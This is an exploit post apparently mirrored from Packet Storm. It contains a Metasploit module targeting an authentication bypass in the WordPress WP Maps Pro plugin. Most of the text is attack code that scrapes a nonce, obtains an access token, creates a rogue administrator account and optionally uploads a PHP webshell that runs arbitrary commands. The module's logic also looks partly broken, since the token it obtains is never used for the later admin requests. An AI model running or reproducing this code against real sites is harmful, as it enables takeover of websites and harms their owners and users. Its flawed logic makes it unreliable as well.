Share
## https://sploitus.com/exploit?id=PACKETSTORM:223800
==================================================================================================================================
| # Title : WordPress WP Google Map Pro Plugin Unauthenticated Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/wp-google-maps/ |
==================================================================================================================================
[+] Summary : A vulnerability in the WP Maps Pro plugin for WordPress allows unauthenticated attackers to generate valid authentication tokens via the wpgmp_temp_access_ajax AJAX action.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WP Maps Pro Plugin Unauthenticated Authentication Bypass',
'Description' => %q{
A vulnerability in the WP Maps Pro plugin for WordPress allows
unauthenticated attackers to generate valid authentication tokens
via the wpgmp_temp_access_ajax AJAX action. The vulnerability exists
because the nonce check can be bypassed, allowing attackers to obtain
a temporary access token that grants administrative privileges.
Once an attacker has the token, they can use it to access the WordPress
admin panel and create new administrator users.
This module exploits the vulnerability to:
1. Obtain a valid authentication token
2. Use the token to create a new administrator user
3. Optionally upload a webshell for persistence
Affected versions: WP Maps Pro plugin versions prior to patch
Tested on WordPress 6.x with WP Maps Pro vulnerable version
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-8732'],
['URL', 'https://wordpress.org/plugins/wp-google-maps/']
],
'DisclosureDate' => '2026-05-13',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base WordPress path', '/']),
OptString.new('NEW_USER', [false, 'Username for new admin user', 'securityaudit']),
OptString.new('NEW_PASS', [false, 'Password for new admin user', 'StrongP@ssw0rd123!']),
OptString.new('NEW_EMAIL', [false, 'Email for new admin user', 'audit@example.com']),
OptBool.new('CREATE_ADMIN', [true, 'Attempt to create admin user after obtaining token', true]),
OptBool.new('UPLOAD_SHELL', [false, 'Attempt to upload webshell after gaining admin access', false]),
OptInt.new('THREADS', [false, 'Number of threads for scanning', 1])
])
end
def wp_base
normalize_uri(target_uri.path)
end
def admin_ajax_url
normalize_uri(wp_base, 'wp-admin', 'admin-ajax.php')
end
def admin_users_url
normalize_uri(wp_base, 'wp-admin', 'users.php')
end
def admin_user_new_url
normalize_uri(wp_base, 'wp-admin', 'user-new.php')
end
def get_nonce
print_status("Retrieving nonce from target...")
res = send_request_cgi(
'method' => 'GET',
'uri' => wp_base
)
if res && res.body
nonce_match = res.body.match(/wpgmp_local.*?"nonce":"([^"]+)"/m)
if nonce_match
nonce = nonce_match[1]
print_good("Found nonce: #{nonce}")
return nonce
end
nonce_match = res.body.match(/fc-call-nonce["']?\s*:\s*["']([^"']+)/)
if nonce_match
nonce = nonce_match[1]
print_good("Found nonce: #{nonce}")
return nonce
end
end
print_error("Could not extract nonce")
nil
end
def get_auth_token(nonce)
print_status("Requesting authentication token...")
data = {
'action' => 'wpgmp_temp_access_ajax',
'nonce' => nonce,
'handler' => 'wpgmp_temp_access_support',
'check_temp' => 'false'
}
headers = {
'Content-Type' => 'application/x-www-form-urlencoded',
'X-Requested-With' => 'XMLHttpRequest'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => admin_ajax_url,
'vars_post' => data,
'headers' => headers
)
if res && res.body
token = extract_token(res.body)
if token
print_good("Token obtained: #{token}")
return token, res.body
end
end
nil
end
def extract_token(response_body)
begin
json = JSON.parse(response_body)
if json['url']
full_url = json['url']
token_match = full_url.match(/[?&]wpmp_token=([^&]+)/)
return token_match[1] if token_match
token_match = full_url.match(/token=([^&]+)/)
return token_match[1] if token_match
end
return json['token'] if json['token']
return json['access_token'] if json['access_token']
rescue JSON::ParserError
end
token_match = response_body.match(/wpmp_token=([a-f0-9]+)/)
return token_match[1] if token_match
token_match = response_body.match(/["']token["']\s*:\s*["']([^"']+)/)
return token_match[1] if token_match
token_match = response_body.match(/["']access_token["']\s*:\s*["']([^"']+)/)
return token_match[1] if token_match
if response_body =~ /^[a-f0-9]{32,}$/
return response_body.strip
end
nil
end
def get_create_user_nonce(session_cookies)
print_status("Retrieving create-user nonce...")
res = send_request_cgi(
'method' => 'GET',
'uri' => admin_user_new_url,
'cookie' => session_cookies
)
if res && res.body
nonce_match = res.body.match(/name="_wpnonce_create-user" value="([^"]+)"/)
if nonce_match
nonce = nonce_match[1]
print_good("Found create-user nonce: #{nonce}")
return nonce
end
nonce_match = res.body.match(/id="_wpnonce_create-user"[^>]+value="([^"]+)"/)
if nonce_match
nonce = nonce_match[1]
print_good("Found create-user nonce: #{nonce}")
return nonce
end
end
nil
end
def create_admin_user(session_cookies, nonce, username, password, email)
print_status("Creating admin user: #{username}")
data = {
'action' => 'createuser',
'_wpnonce_create-user' => nonce,
'_wp_http_referer' => '/wp-admin/user-new.php',
'user_login' => username,
'email' => email,
'first_name' => '',
'last_name' => '',
'url' => '',
'pass1' => password,
'pass2' => password,
'role' => 'administrator',
'createuser' => 'Add New User'
}
headers = {
'Content-Type' => 'application/x-www-form-urlencoded',
'Referer' => full_uri(admin_user_new_url)
}
res = send_request_cgi(
'method' => 'POST',
'uri' => admin_user_new_url,
'vars_post' => data,
'headers' => headers,
'cookie' => session_cookies
)
if res && (res.code == 302 || res.code == 200)
if res.headers['Location'] && res.headers['Location'].include?('users.php')
print_good("Admin user created successfully (redirect to users.php)")
return true
end
end
verify_res = send_request_cgi(
'method' => 'GET',
'uri' => admin_users_url,
'cookie' => session_cookies
)
if verify_res && verify_res.body && verify_res.body.include?(username)
print_good("Admin user confirmed in users list")
return true
end
false
end
def upload_webshell(session_cookies)
print_status("Attempting to upload webshell...")
webshell = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
webshell_name = "shell_#{Rex::Text.rand_text_alpha_lower(8)}.php"
upload_url = normalize_uri(wp_base, 'wp-admin', 'media-upload.php')
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{webshell_name}\"\r\n"
post_data << "Content-Type: application/x-php\r\n\r\n"
post_data << webshell
post_data << "\r\n--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"html-upload\"\r\n\r\n"
post_data << "Upload\r\n"
post_data << "--#{boundary}--\r\n"
headers = {
'Content-Type' => "multipart/form-data; boundary=#{boundary}"
}
res = send_request_cgi(
'method' => 'POST',
'uri' => upload_url,
'data' => post_data,
'headers' => headers,
'cookie' => session_cookies
)
if res && res.code == 200
if res.body =~ /href="([^"]+\.php)/
shell_url = $1
print_good("Webshell uploaded to: #{shell_url}")
return shell_url
end
end
print_warning("Could not upload webshell via media endpoint")
false
end
def store_credentials(host, username, password, email)
cred = {
host: host,
port: datastore['RPORT'],
service_name: 'wordpress',
user: username,
private_data: password,
private_type: :password,
realm_key: 'wp_admin',
realm_value: 'WordPress Admin'
}
report_cred(cred)
note_data = {
'username' => username,
'password' => password,
'email' => email,
'url' => "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{datastore['RPORT']}#{wp_base}"
}
report_note(
host: host,
port: datastore['RPORT'],
type: 'wordpress.admin_creds',
data: note_data,
update: :unique_data
)
end
def check_vulnerability
print_status("Checking if target is vulnerable...")
nonce = get_nonce
unless nonce
print_error("Could not retrieve nonce")
return false
end
token, response = get_auth_token(nonce)
if token
print_good("Target appears VULNERABLE")
return true
end
print_error("Target does not appear vulnerable")
false
end
def run_host(ip)
print_status("CVE-2026-8732 - WP Maps Pro Authentication Bypass")
print_status("Target: #{peer}")
res = send_request_cgi('method' => 'GET', 'uri' => wp_base)
unless res && res.body && res.body.include?('wp-content')
print_error("Target does not appear to be WordPress")
return
end
print_good("WordPress detected")
nonce = get_nonce
unless nonce
print_error("Could not retrieve nonce. Plugin may not be active.")
return
end
token, response = get_auth_token(nonce)
unless token
print_error("Could not obtain authentication token")
return
end
print_good("Authentication token obtained successfully")
report_note(
host: ip,
port: datastore['RPORT'],
type: 'wordpress.auth_token',
data: { 'token' => token, 'nonce' => nonce },
update: :unique_data
)
if datastore['CREATE_ADMIN']
print_status("Attempting to create admin user...")
session_cookies = {}
create_nonce = get_create_user_nonce(session_cookies)
unless create_nonce
print_error("Could not retrieve create-user nonce")
return
end
username = datastore['NEW_USER'] || "securityaudit_#{Time.now.to_i}"
password = datastore['NEW_PASS'] || "StrongP@ssw0rd123!"
email = datastore['NEW_EMAIL'] || "audit@example.com"
if create_admin_user(session_cookies, create_nonce, username, password, email)
print_good("Admin user created successfully!")
print_good(" Username: #{username}")
print_good(" Password: #{password}")
print_good(" Email: #{email}")
store_credentials(ip, username, password, email)
if datastore['UPLOAD_SHELL']
upload_webshell(session_cookies)
end
else
print_error("Failed to create admin user")
end
end
print_good("Exploitation completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================